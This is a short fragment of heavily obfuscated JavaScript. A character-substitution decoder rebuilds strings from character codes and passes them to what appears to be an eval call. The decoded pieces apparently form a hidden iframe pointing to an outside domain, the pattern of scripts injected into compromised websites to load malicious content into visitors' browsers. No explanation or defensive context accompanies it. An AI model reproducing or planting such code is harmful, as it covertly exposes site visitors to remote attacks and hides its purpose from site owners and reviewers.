Q&0LeT3x%f$9$0GI!aFAc$b%d$c+c$1y%dQ~Ac?X%e%c$b+1+a+6&7,a1*fY#eH$2y?%6&3-92^X*0%8*0H*2E&5Le*7%e#8$dxZ$3$eF@2OE*a+3+6+b%0%1F>1%3HT7%5%5VVV&9AaVEVIN^$c$e&9>5ZJy?%6N*0?&3Le*3H*2^#a*5^*0&6@4?Ix???N%c&2>fH%eQ$4I$0%f$0&0@1GGG*4%ekUy&9AdHI&5,WX!%2*0Qk*2!7:"32);",*$8$%dZ%c*b$0$1:"s_r(l)\'",!7!!0*9$2Q!0#8*2:");"};s_v=[];s_nw=String.fromCharCode;for(+r s_D in s_f){Mtrim(s_D,s_f))};M\';s_t=s_nw(118/5<5/5,98/5/8/5<6,121,58/4/5/0/0/1<0,34,62,60\\,32<5<4,99);\');M\'s_j=s_nw(104/1/5/3/4<6,61,56,48,62,60,47\\);\');M\'s_K=s_nw(97<2/5,46<6<9/5<6<6/1<4,46,99<1/9,47,49,47<6<4/1<0/0<5,47/0,97/5/8,121,46/6<5<1<0);\');s_r(s_B(s_v))!v7#v8$vc%vb&:8*v9+va-,q/,10<,11>,b?!b@-8A-7E!dF:90G#2H%9I!eJ$7L,cMs_v.push(N#0O#1P!fQ!8R#3TvdU%aV!9W#6X#5Y!5Z$6^#7`!ck$fx$ay$5z!6|&4~&8\\/5/2<4,97/9/1';for(c=43;c--;d=(t=d.split('!#$%&*+-/<>?@AEFGHIJLMNOPQRTUVWXYZ^`kxyz|~\\'.charAt(c))).join(t.pop()));s_nx=d;s_r(s_nx)

